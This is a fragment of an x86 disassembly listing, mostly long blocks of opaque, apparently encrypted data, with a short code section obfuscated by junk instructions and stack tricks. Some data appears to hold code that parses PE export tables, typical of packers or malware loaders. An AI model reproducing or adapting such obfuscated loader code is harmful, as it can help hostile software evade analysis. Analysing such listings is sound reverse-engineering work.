		dd 0BD29A61Ah, 9EBF9E07h, 4C374FD6h, 0D44B2FE2h, 0C37AC025h
		dd 0F1CF87A6h, 0EC58CF94h, 11755475h, 920BB92Fh, 6C52FBB3h
		dd 40D44DF7h, 14h, 5F2D49F2h, 55CACB42h, 0C9303AA6h, 10740627h
		dd 71C38B78h, 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h
		dd 0F960E442h, 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h
		dd 54E968EDh, 34890000h, 6F2A6824h, 14890000h, 0E3895324h
		dd 4C381h, 0EB830000h, 241C8704h, 240C895Ch, 28BDBD55h
		dd 66BA5984h, 295FCD8Dh, 242C8BEAh, 5404C483h, 83240C8Bh
		dd 895604C4h, 87189D6h,	8124348Bh, 4C4h, 240C8B00h, 5E08950h
		dd 4, 8704C083h, 8B5C2404h, 89562414h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 14E8E95Ch, 7ED4FFFBh, 4969B7B8h, 0FFC50306h
		dd 84759CE0h, 0B733BE21h, 9116A564h, 8D8D07h, 6606496Bh
		dd 896FD7BAh, 442F5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h
		dd 0C3524200h, 88B4AB9Bh, 67985C7h, 5C100644h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 7BF963C3h, 9598FBCh,	958B576Ch, 6440689h, 0D6BF0F5Bh
		dd 107185C7h, 644h, 0DA800000h,	0B9B5FF4Ch, 6A06441Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 5B03C351h, 0D9952972h, 0FF064414h, 440BF995h
		dd 66566006h, 5E0423B8h, 0D243F181h, 6A613E0Dh,	4D95FF00h
		dd 8B06441Ch, 0ED6DEBC0h, 0B39E16A4h, 8D37DEEDh, 40407695h
		dd 2EC2A1AAh, 30C15CDAh, 0A281B6EFh, 3B28D89Bh,	3F909495h
		dd 7EE086AAh, 0F6C85FAAh, 94FC4103h, 0ACD916F9h, 54BEECFh
		dd 0AA202C3Dh, 46023C01h, 0DBF59D61h, 0E4244C2Dh, 0D0B112C6h
		dd 43E6E27Dh, 0EDE664CEh, 10DA6AB3h, 1BA56B12h,	382D0F67h
		dd 15D3DFCh, 0D72894EDh, 0A530D729h, 9FB70972h,	0B0E9h
		dd 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 6442D7Dh, 36840Fh
		dd 853B0000h, 6440E25h,	2A840Fh, 853B0000h, 6441D85h, 1E840Fh
		dd 853B0000h, 6440905h,	12840Fh, 0BD830000h, 64429B5h
		dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
		dd 0C985784Ah, 49840Fh,	0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
		dd 314518Bh, 850B8BD8h,	10840FC9h, 3B000000h, 17820FCEh
		dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
		dd 0DE9FFh, 9D8D0000h, 6444E55h, 5B8h, 61E3FF00h, 0EBD00BC3h
		dd 60h,	17h dup(0)
		dd 0AFFE900h, 0F3E90000h, 6800000Ah, 6497457h, 0FB1279E9h
		dd 75B068FFh, 6FE90649h, 68FFFB12h, 649760Ah, 0FB1265E9h
		dd 0D686FCFFh, 7FE5417Fh, 0C478E8D6h, 4EEE536Dh, 0F56FD9E7h
		dd 46B67E5Ch, 0F3CD64E0h, 4779D094h, 0F7C960DCh, 3B7FD68Eh
		dd 2819C05Fh, 0E4B2C2E7h, 6CD84F56h, 0C8F692F5h, 3A0BB758h
		dd 81143CDBh, 6FD6E8A0h, 1625CF5h, 0BAE29906h, 8FEBC92Fh
		dd 2FBB6910h, 624362C9h, 7DE4DA43h, 0D7846DFh, 96F0CE57h
		dd 0EDD3B72Eh, 0BE80C874h, 3B059C48h, 0B18F16C6h, 4C72EB51h
		dd 0B3F56CD8h, 8D4CD31Fh, 3EC92FBBh, 3E5A3E1Fh,	0BE21A300h
		dd 0C92FBAFBh, 0C1A5EDCCh, 7927C65Eh, 422607CFh, 0F55C087Ch
		dd 0DFC325B3h, 8E1207E0h, 0FD8635AAh, 6647C2E6h, 9D026647h
		dd 0C2E6FCE2h, 3F5BC2E3h, 0FD15C45Bh, 0D2B6C2E6h, 0E6FD8E4Dh
		dd 3F1E3FC2h, 77DC4977h, 0E8C9500Ch, 4FD260C9h,	15DC6ED6h
		dd 942BEE71h, 118EC930h, 0C930946Ah, 15344263h,	3776C45Dh
		dd 0B6B444A0h, 3466C95Ch, 6AD8A715h, 0F4A7EF47h, 1C0404h
		dd 37B60000h, 15A517A0h, 3093CF8Ah, 6BD9F8C9h, 0D74FA715h
		dd 0F143DF6Dh, 47E5h, 0A0375700h, 2B15A517h, 294D05B7h
		dd 309403B6h, 9FFBDAC9h, 94B564FBh, 3716C930h, 6715CD7Fh
		dd 67BDA051h, 6BF490A2h, 0C9301DB0h, 14703819h,	6DD74FA6h
		dd 37115DFh, 25C43F22h,	5C1F80B4h, 6DC92FF3h, 8436044Ch
		dd 950D9B37h, 0BE9FBE27h, 5786A8DAh, 686CE17Ah,	1E204420h
		dd 0EC733BA1h, 0CF7444A6h, 3B5FC6E7h, 773F9D05h, 0EC442DE8h
		dd 0F5CBAFC2h, 0E19AD292h, 6374D035h, 7E81FBB0h, 33000001h
		dd 0BBDE6715h, 5626A248h, 8DFF4E20h, 9FD7A74Eh,	9EFA3FD9h
		dd 30566201h, 0DD457BC9h, 0F9C75E7Fh, 82BCD88Ch, 386BF324h
		dd 0EAD975B3h, 3B7352CBh, 0D64F2092h, 0C9501471h, 157BC9E8h
		dd 4C04B82Bh, 0A03767D5h, 0D84D7317h, 1596246Ch, 6C878267h
		dd 0C1241F70h, 0C36A2203h, 0A7EF4771h, 423004F4h, 0A6349890h
		dd 0A61F212Ah, 4226763Eh, 42000000h, 145C087Ch,	17A037A6h
		dd 0CF8A15A5h, 0F8C93093h, 0C7E65EC6h, 15A71575h, 0BB824B67h
		dd 5E169EF1h, 0F2400460h, 0ABA2B15h, 67C0B293h,	0D7708936h
		dd 398BB9F1h, 7BD2B15h,	63F7BF9Eh, 2Eh,	17A037D1h, 0CF8A15A5h
		dd 0E6C93093h, 0AA231E94h, 371EAAAh, 950118DDh,	0F547665Ah
		dd 9BB2B15h, 4F972541h,	43DF6DD7h, 33A91927h, 0A137C97Bh
		dd 0D64E7014h, 9ED6F76Eh, 94C265FAh, 2203C930h,	24BBDFBBh
		dd 0C9309475h, 212D1B52h, 4F39E288h, 0AB18266Eh, 4F229039h
		dd 0E8DC6ED6h, 17A0375Ah, 556715A5h, 4625C160h,	0AE6DF296h
		dd 1FC92FFDh, 6DDF763Eh, 0F4A7EF47h, 230404h, 37B60000h
		dd 4D7317A0h, 0D4F56CD8h, 8A152E9Ch, 0C93093CFh, 156BD9F8h
		dd 6DD74FA7h, 0E5F143DFh, 27h, 17A03757h, 0CF8A15A5h, 0E6C93093h
		dd 6CF567D8h, 0AD0F734Dh, 86341534h, 0D74FA715h, 2743DF6Dh
		dd 0AD34A819h, 0E576C48Ch, 0DAh, 0BC2B1557h, 0F8B09108h
		dd 47D818BEh, 0C9309494h, 25970B35h, 0CEBC9DBCh, 0C129D4EBh
		dd 2743620Fh, 308A09B8h, 7AE3C2C9h, 0CC65DF44h,	0BA2B157Eh
		dd 9429D04Fh, 83A2C930h, 23493BA2h, 253D7CCh, 36AF91B0h
		dd 7E36178Eh, 0D361E340h, 55B62B15h, 0A20F9003h, 662E0F44h
		dd 3BE99BFFh, 7326B91Bh, 54C93056h, 0B8010775h,	7B5A0261h
		dd 0A0378133h, 6AD8A517h, 0F4A7EF47h, 360404h, 37B60000h
		dd 15A517A0h, 451CD967h, 0D59DC224h, 296B2EB1h,	7D5CC930h
		dd 4FA715CFh, 7B096DD7h, 7760F78Eh, 0F16E0A0Bh,	0C9304E4Ah
		dd 58EAA283h, 27E5F143h, 57000000h, 7317A037h, 0F26BD94Dh
		dd 15299BD3h, 3093CF8Ah, 75C7E6C9h, 0D74FA715h,	7115DF6Dh
		dd 30942BEEh, 0F5BD9CC9h, 2B1575C7h, 0B09108BCh, 0E75DC6F8h
		dd 10AAF183h, 0EADF4768h, 9E053BA2h, 3CA9973Eh,	0C98E1188h
		dd 0F4C93021h, 8C38AE90h, 0DC73BFC4h, 0B79182E2h, 0ABE13B61h
		dd 0FFDE4766h, 0A81C89B7h, 1EC63F01h, 70733487h, 0D1321F0Bh
		dd 0C2D970Ch, 0D94FE3A5h, 6D2CB36Eh, 5EC92FE6h,	0B5C75E7Fh
		dd 63E5D01Dh, 0D9BD9C0Eh, 2FBD9346h, 341534C9h,	4BF16E50h
		dd 3D036703h, 0A3821BC9h, 0DF3E74EBh, 5E7FCF73h, 41D1A3C7h
		dd 444C1F0h, 0B362FDB5h, 25C2EC47h, 5E067F41h, 0D5AEE6C7h
		dd 6680E449h, 2BB5FBB0h, 0D1000000h, 4844C7B5h,	1375FCF2h
		dd 0EBDBCD8Ch, 9450B6C2h, 398BC3E2h, 0F76ED64Fh, 8B39AD93h
		dd 949D5CC3h, 5B20C930h, 430162CFh, 0D64F58EAh,	0D1340A6Eh
		dd 0E3AB8A13h, 19943C7Ah, 0B6E27Dh, 3617CF7Ah, 47F56C52h
		dd 50E0A60Fh, 0FCD3A1C5h, 0B29D0200h, 0A7385C14h, 0C92ABE6Dh
		dd 70148DACh, 2217FA02h, 0EBA3870Ch, 22F2C174h,	695733C9h
		dd 0FCDD44F8h, 0FE63CFB4h, 1E71186h, 8440A59Bh,	459CCCh
		dd 152E0000h, 942BEE71h, 0BD9CC930h, 9025B3F5h,	94C06BF4h
		dd 251BC930h, 3A4C04C0h, 600D7F1Bh, 9D379AAFh, 8CB2D69Eh
		dd 6501A814h, 0C4557301h, 0FF9B1E99h, 2FCEB960h, 7BE95AC9h
		dd 94B5C3E2h, 2548DCh, 37FA0000h, 0EF7014A1h, 0C9309438h
		dd 8C51B789h, 0AB8AAB19h, 2F95F1CFh, 9425D44Bh,	87A6C930h
		dd 2D95ABCFh, 0E594268Fh, 16Dh,	0BF7AE581h, 8C93094h, 37D36129h
		dd 0E8A1139Ch, 6ED64F5Ah, 0EE7115DCh, 0C930942Bh, 6BF272D4h
		dd 551D3C4Ah, 0EF474EFCh, 3004F4A7h, 0F16E910Eh, 0CC30944Ah
		dd 1A83A283h, 2100BC24h, 473969h, 158B0000h, 3265C467h
		dd 0B5FDAD66h, 65D760F3h, 8BC2B15h, 1B26E391h, 0FA4D7708h
		dd 68F793DBh, 0C92FC0B1h, 15893B1Ah, 0A919B62Bh, 0AA8B1233h
		dd 4F3486E2h, 43DB69D3h, 2FE5F1h, 0BF810000h, 22039A42h
		dd 733BA91Ch, 139C37C1h, 66DE4977h, 55049BFFh, 76C93094h
		dd 8C3E7657h, 93CF8A15h, 0C7E6C930h, 4FA71575h,	43DB69D3h
		dd 6ED64FF1h, 66715DCh,	0B0B2F047h, 35A71B25h, 5CC58DACh
		dd 17A037EEh, 6BD94D73h, 28B7D3F2h, 0C9309471h,	81337B5Ah
		dd 0EF476AD8h, 404F4A7h, 3Ah, 17A037B6h, 0CF8A15A5h, 0EAC93093h
		dd 946A118Eh, 5D63C930h, 0CFEE77E5h, 0F1D0A6EEh, 4FA71543h
		dd 15DF6DD7h, 942BEE71h, 0BD9CC930h, 0E575C7F5h, 2Dh, 9A42BF81h
		dd 0A03760D2h, 31017317h, 0FC2CD13Eh, 1507B5FDh, 3093CF8Ah
		dd 75C7E6C9h, 0D74FA715h, 2743DF6Dh, 6CB56655h,	7F37386Ch
		dd 68D44FCDh, 95F195F1h, 30944F0Ah, 0C65978C9h,	0C9309413h
		dd 42DD95B4h, 0C9309494h, 6FF381E5h, 5D05B7FAh,	65B1CA82h
		dd 0AA31988h, 68D44FB8h, 0EEE795F1h, 551BD866h,	1988B6FEh
		dd 5F243AA3h, 41FB66D3h, 0CE5277E8h, 0A0C4C92Fh, 0EAED269Eh
		dd 5A3AE04Bh, 5475ECCDh, 0ACBB2A1Ch, 687801F4h,	1CFFFFFEh
		dd 231DBF22h, 0E4561EBEh, 309427EEh, 954671C9h,	0AA6EC930h
		dd 0F2C93094h, 0C9309443h, 3094AA6Dh, 9443F2C9h, 1CB48930h
		dd 362D8EC2h, 60C6BE3Ah, 80E4C5E4h, 76D5AA1Fh, 0A1053B0Fh
		dd 21D84723h, 0AA02EA35h, 5733AA8Bh, 34EDAC33h,	0BADE02EAh
		dd 0EA357625h, 57765702h, 7CB9591Fh, 2BA2618h, 0FFB12E4Ah
		dd 3E092E50h, 1EE3BA1Fh, 0B029BDEFh, 29F24h, 32AA1800h
		dd 8341A59Bh, 30AC142Ah, 823AA799h, 31B3152Bh, 8A72BA98h
		dd 3F01A81Ch, 8BB51CC8h, 330DA418h, 0FFBB12D2h,	2055049Bh
		dd 2076C2E7h, 71D64F92h
		dd 1332AB11h, 2809BB2Dh, 0D25BF7B1h, 0A61E88B6h, 0E57A1E3Fh
		dd 0C9309436h, 9AFEB697h, 0FE66C0FEh, 0D0B5188Ch, 0ECA4EFF1h
		dd 79504373h, 0F25B7ACFh, 0E6B7AA6Dh, 0E872BC2h, 0D4300E6Ah
		dd 0CCA88910h, 0E6B7A853h, 480021C2h, 30234BD7h, 3FA698C9h
		dd 2FB6269Ah, 11672F0Eh, 0F56A5430h, 0B7FFDE47h, 0CC78EDD3h
		dd 7AEA5B65h, 0E3C17CE3h, 9E32C92Fh, 0B0EC7317h, 1DCF794Fh
		dd 583C583Ch, 0E6B714C7h, 0DC94B5C2h, 6AC381E2h, 0AF30EF54h
		dd 0C2E6B6ECh, 44DDFCDDh, 43276E02h, 30239CDCh,	910829C9h
		dd 96F23BD7h, 794F7D09h, 513042CFh, 676797E0h, 6F6B5624h
		dd 34129379h, 0CB340A7Ch, 4EB68811h, 0F296B796h, 44ED57CCh
		dd 0C25B097Ah, 0E7A79A5Dh, 3E771BC2h, 0A5003E5Ah, 15C45B3Fh
		dd 0B6C2E777h, 1440DF97h, 49C930E4h, 2307B22Dh,	0E1C0C930h
		dd 235F1A85h, 4968C930h, 0E795F168h, 0CF4257D4h, 2C98A6F0h
		dd 480021B8h, 4F2B620Eh, 73D0C6D0h, 0BD2B15CFh,	0F7BF9E07h
		dd 2A05A081h, 5A7BA99Eh, 14657C3h, 85FF0000h, 0E4407ED7h
		dd 8BF7C960h, 0D94678D1h, 92F4CA63h, 0CF597BD2h, 0E049FB6Dh
		dd 54FD67DEh, 0EC45F76Ah, 5AF371D2h, 36E57A1Eh,	97C2E71Fh
		dd 9B3773C1h, 0ADE97612h, 0E0CF7A00h, 23C58C1h,	98B920A4h
		dd 0B3FA96D0h, 3CCE48D7h, 5E7FC92Bh, 0E022CEFBh, 77E37A7Dh
		dd 0ECh, 0D47DDF45h, 63CA7AEAh,	0DE77E55Dh, 74DD7FE0h
		dd 0C168DC4Ah, 65C339E3h, 0FD6856FFh, 71D0EE47h, 0E75C62CBh
		dd 0F490D47Dh, 0E71EB06Bh, 0FD4F19C2h, 76129B37h, 7A00B5E9h
		dd 5D3918CFh, 175F0563h, 9153B08Eh, 279D0638h, 0A8192743h
		dd 138CAD34h, 0C2E72868h, 91084061h, 96F23BD7h,	30947909h
		dd 0DC7554C9h, 6BC282E2h, 0E64FED55h, 5CF567D8h, 219B0638h
		dd 0EFD199B8h, 662CB79h, 8C15C738h, 6DDBE5ADh, 0B6C478E8h
		dd 115F8A8Dh, 0F65F7E21h, 3DA25DC8h, 0C92FCB7Eh, 0E64F6E4Fh
		dd 97F369D8h, 0CC8438A9h, 7AEA5B65h, 1E89B7D3h,	0B59448B9h
		dd 7B450D2Ch, 60DC470Ch, 0CAE09B04h, 0C8E9C92Fh, 6A0640E9h
		dd 48D84723h, 97CF7937h, 259A3FA9h, 5FE496B7h, 0A5EAC902h
		dd 4B75034Bh, 0DF4667DDh, 69C084E1h, 3FDh, 0FB494F00h
		dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h
		dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h
		db 0EDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	7A8Dh
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	6496CB3h
		mov	ebx, [esp]
		add	esp, 4
		push	3CA2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		dd 6A8C3297h, 85A7E9DDh, 20E95C42h, 1BB8C341h, 3064977h
		dd 0E8C38BC5h, 11h, 3FBE563Fh, 91F7EC08h, 0DC83E48Fh, 0AB1468CAh
		dd 0D8B70FBCh, 0AE85Eh,	0B36E0000h, 0F605BA3Dh,	22F37606h
		dd 10E9h, 2A4BA500h, 6CA8614Bh,	0C11C42C5h, 7E9BB8F0h
		dd 0C68159B3h, 689Bh, 0FE9h, 0EF58E00h,	1EAAA738h, 6F6E89A9h
		dd 4E084197h, 0E60791BFh, 6AC7815Fh, 8BA01A12h,	81D68B06h
		dd 880C1AE8h, 5DBB6608h, 8DC08181h, 813668CAh, 4B7ABAE8h
		dd 5090B16Eh, 28E0Fh, 7EB60000h, 5E9068Fh, 1F000000h, 0B24BADD6h
		dd 6604EE83h, 3BB0F281h, 0C0850F4Fh, 50FFFFFFh,	0BE957h
		dd 56830000h, 0DD87855Ah, 0FACA86A4h, 8D595944h, 4978F48Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0BF0C2751h, 37CE5484h, 0D85897Dh, 89064409h
		dd 442F5D8Dh, 0C7D08B06h, 44067985h, 632C06h, 0E3BB6600h
		dd 7185C7D3h, 64410h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BEFC353h, 4431AD95h
		dd 0F5B5FF06h, 6A064430h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 152AC355h, 95FFD4DCh
		dd 6440BF9h, 2EC58509h,	6AFC0644h, 4D95FF00h, 8B06441Ch
		dd 0D12BEBC0h, 65F51FB5h, 33D67D9Ch, 1AAB0AD7h,	651212A1h
		dd 18B3DBF3h, 0D4ACB006h, 88E6D980h, 39E78E0Ch,	2D7A322Dh
		dd 0AC71B135h, 36E9E127h, 0F8000001h, 79ABB58Dh, 0BA600649h
		dd 0DEC8E22h, 11E9h, 0FE699400h, 3A747h, 9974702Fh, 0F4B48549h
		dd 0F61873Ch, 0A88h, 8B666000h,	4A5ABBC3h, 8D6149CBh, 4740A285h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 315ADA54h, 6001453Fh, 0FCC9B70Fh, 60D0FF61h
		dd 0C381D8B6h, 4058AA47h, 6660C361h, 7758DE81h,	6850Fh
		dd 8E0F0000h, 0
		dd 0D98C6661h, 0C88B6060h, 61D2B70Fh, 0EDAB42B8h, 0C1F66143h
		dd 5F840F04h, 0E9000000h, 0Eh, 0CEAA37B5h, 92CD73ADh, 63052975h
		dd 66609C03h, 62B7D181h, 5E852h, 0E2E40000h, 58D2F207h
		dd 0FB8B615Fh, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h
		dd 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch
		dd 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh,	0CF000000h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5EC35242h
		dd 997FA6BFh, 0FE972h, 3EB0000h, 0BF6B5CA4h, 563A32EDh
		dd 872AAFC3h, 485C738h,	3F06497Ah, 0E8000101h, 0Dh, 0DBD695EDh
		dd 57ADA74h, 8CDD9FB6h,	11E9501Fh, 0BF000000h, 0CFD53D44h
		dd 7D52E271h, 5987417Ch, 52E8AF11h, 0EF815B58h,	55C6D378h
		dd 677AC381h, 94B00000h, 0C38BD22Bh, 811A34FFh,	81472FE8h
		dd 0B9665E6Ch, 0C6815A2Fh, 7BAD96C2h, 4850Fh, 0B9660000h
		dd 0F681527Bh, 141C99A6h, 10E8h, 0F54DBF00h, 0ECCDFD0Bh
		dd 0B416CA4Ah, 0A756E6CFh, 0AEE181A8h, 581AF665h, 2F44F681h
		dd 66607A44h, 0F53CA8Bh, 82h, 89615A00h, 0B70F1334h, 51DF81FEh
		dd 83409F10h, 4A4A01EAh, 0F830F4Ah, 0E9000000h,	0Ah, 0BA3DB36Eh
		dd 7606F605h, 0FA8122F3h, 0FFFF9948h, 0FF7A850Fh, 0F860FFFFh
		dd 0AC8594B9h, 0BE86173h, 49000000h, 2038934h, 0C5EAD713h
		dd 0BA667CF0h, 0BE5BECA4h, 9E365B8h, 7282C381h,	0CF810000h
		dd 2E8BC4ACh, 1C75B8h, 0E933FF00h, 10h,	1DA9EA33h, 0A5C5E17Ch
		dd 0AEBF3F5h, 0C820467h, 9FF18159h, 0B62EB6A0h,	9C181BCh
		dd 0F54F8ABFh, 0CE7AE981h, 89F512D2h, 0F98B660Bh, 3429EB81h
		dd 81F97EB2h, 0B23425C3h, 8170B67Eh, 1E8h, 1B850F00h, 0BE000000h
		dd 7B61F33Ch, 34E9h, 5E94AB00h,	0C7A47C0Ah, 9F7C932Bh
		dd 2E5D7803h, 5E950E3h,	0E7000000h, 0CC41F32Bh,	0FFFF88E9h
		dd 19B30AFFh, 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h
		dd 266E9A9h, 66600000h,	0C1F6D98Ch, 35840F04h, 6A000000h
		dd 7DB5FF01h, 8D06442Dh, 4777AF85h, 89D0FF06h, 4417C585h
		dd 0C1FE8B06h, 680CEFh,	6A200600h, 57026A00h, 1000D68h
		dd 0C595FF00h, 0E9064417h, 32h,	2E985C6h, 68560644h, 0A9C530DFh
		dd 17E9B5FFh, 858D0644h, 64777AFh, 8589D0FFh, 64408D1h
		dd 2B99858Dh, 6A500644h, 56056A40h, 8D195FFh, 0C3610644h
		dd 3 dup(0)
		dd 60D48B52h, 8908428Bh, 497C6E85h, 0C428B06h, 7C668589h
		dd 428B0649h, 6A858910h, 8D06497Ch, 497CA4B5h, 35858D06h
		dd 0FF005B7Eh, 0C25A61D0h, 0B58B000Ch, 6497C6Eh, 7C66858Bh
		dd 0BD830649h, 6497C6Ah, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 7C6E8589h, 0B58D0649h,	6497CF5h
		dd 7E35858Dh, 0D0FF005Bh, 858B5A61h, 6497C6Eh, 8B0004C2h
		dd 497C6E85h, 89008B06h, 497C6E85h, 0CF06h, 89600000h
		dd 497CCBB5h, 0C7858906h, 8D06497Ch, 4415A185h,	44408B06h
		dd 7D048589h, 0B58D0649h, 6497D3Ah, 7E35858Dh, 0D0FF005Bh
		dd 0CB858B61h, 0C306497Ch, 7CC79D8Bh, 0B70F0649h, 0D8033C43h
		dd 3785B8Bh, 497CC79Dh,	24738B06h, 7CC7B503h, 8B560649h
		dd 738B207Bh, 0C7BD031Ch, 306497Ch, 497CC7B5h, 0C983FC06h
		dd 9D8B41FFh, 6497CCBh,	9503178Bh, 6497CC7h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 6497CC7h,	7CCB8589h, 0F08B0649h, 0C18BCE8Bh
		dd 7D04BD81h, 649h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 4BD8B00h, 8306497Dh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 7D04BD81h, 649h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 4BD8100h, 6497Dh, 0FC03000h,	0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 7C72858Dh, 85890649h, 644191Dh
		dd 7D08858Dh, 85890649h, 6442DE5h, 7CCF858Dh, 85890649h
		dd 6441ADDh, 7F218D8Dh,	0BD0B0649h, 644147Dh, 2F5D8D89h
		dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0B8CA9C3h, 8BA15AAAh, 44311185h, 7985C706h
		dd 0BC064406h, 0B00006Dh, 441C11B5h, 7185C706h,	64410h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0C9C2C350h, 0E9352129h, 0Eh, 26119E84h
		dd 4EEEE8BBh, 8553517Ah, 858B05A6h, 6440AD1h, 196DB5FFh
		dd 95FF0644h, 6440BF9h,	39BD8950h, 5E06442Fh, 95FF006Ah
		dd 6441C4Dh, 6AEBC08Bh,	84E302B3h, 796D2728h, 6C5D56ECh
		dd 26EB7F28h, 0BAC3F3EDh, 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh
		dd 0B82D8FD0h, 0E88E07AEh, 39D52F4Bh, 910E2CA3h, 0BC936BA0h
		dd 750647E7h, 11B0F45h,	0E63FA03h, 0B200D03Eh, 9CEA1C7Dh
		dd 5FF3A918h, 0FBBCE79Bh, 9D788C7h, 0D220C422h,	7278D211h
		dd 0D0861AFEh, 786F8938h, 5E6934E9h, 4EBACC5h, 63F22312h
		dd 559E9h, 0CE6ED400h, 77ED5967h, 0DC80E0DEh, 66D64B75h
		dd 2D97F1CFh, 9E7EA684h, 2B15BC28h, 9FA108BCh, 2F11B824h
		dd 0E3A70EB6h, 15611887h, 3C6AC2E7h, 6ED64F8Eh,	0E55FC9F7h
		dd 5311724Ch, 0D58FF4CAh, 5212724Ch, 2FFB80CBh,	4AE361C2h
		dd 58B1102Eh, 0F29C0E8Ch, 347C5DAAh, 0CA3A970Ah, 9E446C49h
		dd 4869649Ah, 78D1F0D1h, 0F861DB46h, 7CE55FC6h,	0E75E6004h
		dd 0E44E357Dh, 34500C77h, 0BC5F1046h, 0BFF7284Ch, 9BB2816h
		dd 0D7490F90h, 1368C92Fh, 0F6C22207h, 7B7301F3h, 0C1000000h
		dd 9BB2B15h, 5E067F41h,	949F58C7h, 473CC930h, 0AC1A24DBh
		dd 0C880A138h, 0F4B386FEh, 1AF01h, 151D0000h, 942BEE71h
		dd 0BD9CC930h, 0C53409CFh, 0B9F1EE78h, 7FE01F87h, 0C92FE9BCh
		dd 7B5E2C0Dh, 0D2A79946h, 5F2D4968h, 8D73EF53h,	50700231h
		dd 59509032h, 6C52CB83h, 0EBD54CF8h, 5D1C8376h,	6EC92FD4h
		dd 0BCF76E4Fh, 86FE5BC7h, 0DC4977DEh, 5A31843Bh, 9EBF2ED8h
		dd 0D94F8537h, 0E496F26Bh, 6EC29456h, 0B38DC587h, 904BD453h
		dd 39C93072h, 0BEA03918h, 8AFC59C5h, 0D84D73DAh, 57CBF56Ch
		dd 0DF427CE5h, 6ADAE47Dh, 532863FAh, 493275C7h,	901C78DDh
		dd 95D901F4h, 6B000000h, 0F26BD94Fh, 883CA896h,	0DA82FEC0h
		dd 5A0A7D43h, 0C784FDC3h, 5AC3E25Ah, 0CE40FC64h, 8AC069B5h
		dd 0EC8FAE6Fh, 0D0B4FFDEh, 3A619A2h, 8FC7FA72h,	5BCD2AF4h
		dd 402440E9h, 0C15E067Eh, 0C92FB91Ah, 0AB198DB3h, 8AFCC28Ah
		dd 432743DAh, 2FB91DDCh, 0C78FAEC9h, 4DD488F9h,	40A5710Ah
		dd 1F3D6F4h, 4F01h, 0E75B6500h,	4F8F3D75h, 0CCF26BD9h
		dd 407EE755h, 0C7F960E4h, 627CE55Fh, 0C4200D19h, 304B2100h
		dd 3A9F09E6h, 209C07CCh, 20B998B9h, 3B892001h, 0F46DD74Fh
		dd 3094AD6Bh, 0AB770CC9h, 0F4B3DE46h, 31512301h, 186BB16Ah
		dd 1E4B4FCh, 56000000h,	0D69D34Fh, 9443F669h, 0A584C930h
		dd 23BA2A9Bh, 0B7D34A02h, 0FA2AD0C5h, 0EAA27B1Bh, 6CF56FD4h
		dd 56C36F14h, 0BFDB72EAh, 25BC2081h, 660A4C04h,	5D2F4B2Fh
		dd 1F820134h, 0CA5FCFBDh, 0B11B84CCh, 38CF741Dh, 27197D19h
		dd 0BB9A03C1h, 0EC057524h, 3F7756C2h, 0B92B98A6h, 0FB52E10h
		dd 5500996h, 561C2ECh, 681ACA3Bh, 0F92A6DB6h, 93E8A009h
		dd 8B39AA87h, 22A71C22h, 462203C1h, 0FE060778h,	0E53F2E42h
		dd 1E87CFEEh, 9801C320h, 0C431FD86h, 7A4CE55Fh,	0FBB0880Ah
		dd 1602Bh, 2B159900h, 4420ABAh,	0DA45216Ch, 0CF74C190h
		dd 5F61F8D9h, 0E9D77EE6h, 6F51C87Ch, 4DF751F6h,	8187F5D4h
		dd 0F5FEAD7Eh, 211F86A7h, 0BD831AC2h, 61059C48h, 0EC393BFEh
